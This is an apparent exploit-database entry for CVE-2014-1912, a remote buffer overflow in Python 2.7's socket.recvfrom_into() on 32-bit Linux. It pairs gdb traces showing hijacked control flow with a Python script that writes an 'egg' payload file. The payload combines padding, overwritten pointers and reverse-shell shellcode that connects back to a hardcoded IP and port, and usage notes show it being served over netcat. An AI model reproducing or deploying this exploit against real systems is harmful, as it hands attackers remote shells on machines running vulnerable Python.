Python socket.recvfrom_into() - Remote Buffer Overflow Exploit

:
25.02.2014
:
Python2.7 Linux 32bit
:

#!/usr/bin/env python

'''
# Exploit Title: python socket.recvfrom_into() remote buffer overflow
# Date: 21/02/2014
# Exploit Author: @sha0coder
# Vendor Homepage: python.org
# Version: python2.7 and python3
# Tested on: linux 32bit + python2.7
# CVE : CVE-2014-1912



socket.recvfrom_into() remote buffer overflow Proof of concept
by @sha0coder

TODO: rop to evade stack nx


(gdb) x/i $eip
=> 0x817bb28: mov eax,DWORD PTR [ebx+0x4] <--- ebx full control => eax full conrol
0x817bb2b: test BYTE PTR [eax+0x55],0x40
0x817bb2f: jne 0x817bb38 -->
...
0x817bb38: mov eax,DWORD PTR [eax+0xa4] <--- eax full control again
0x817bb3e: test eax,eax
0x817bb40: jne 0x817bb58 -->
...
0x817bb58: mov DWORD PTR [esp],ebx
0x817bb5b: call eax <--------------------- indirect fucktion call ;)


$ ./pyrecvfrominto.py
egg file generated

$ cat egg | nc -l 8080 -vv

... when client connects ... or wen we send the evil buffer to the server ...

0x0838591c in ?? ()
1: x/5i $eip
=> 0x838591c: int3 <--------- LANDED!!!!!
0x838591d: xor eax,eax
0x838591f: xor ebx,ebx
0x8385921: xor ecx,ecx
0x8385923: xor edx,edx

'''

import struct

def off(o):
return struct.pack('L',o)


reverseIP = '\xc0\xa8\x04\x34' #'\xc0\xa8\x01\x0a'
reversePort = '\x7a\x69'


#shellcode from exploit-db.com, (remove the sigtrap)
shellcode = "\xcc\x31\xc0\x31\xdb\x31\xc9\x31\xd2"\
"\xb0\x66\xb3\x01\x51\x6a\x06\x6a"\
"\x01\x6a\x02\x89\xe1\xcd\x80\x89"\
"\xc6\xb0\x66\x31\xdb\xb3\x02\x68"+\
reverseIP+"\x66\x68"+reversePort+"\x66\x53\xfe"\
"\xc3\x89\xe1\x6a\x10\x51\x56\x89"\
"\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"\
"\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"\
"\xc0\x52\x68\x6e\x2f\x73\x68\x68"\
"\x2f\x2f\x62\x69\x89\xe3\x52\x53"\
"\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"\
"\x80"


shellcode_sz = len(shellcode)

print 'shellcode sz %d' % shellcode_sz


ebx = 0x08385908
sc_off = 0x08385908+20

padd = 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMM'

'''
+------------+----------------------+ +--------------------+
| | | | |
V | | V |
'''
buff = 'aaaa' + off(ebx) + 'aaaaaAAA'+ off(ebx) + shellcode + padd + off(sc_off) # .. and landed ;)


print 'buff sz: %s' % len(buff)
open('egg','w').write(buff)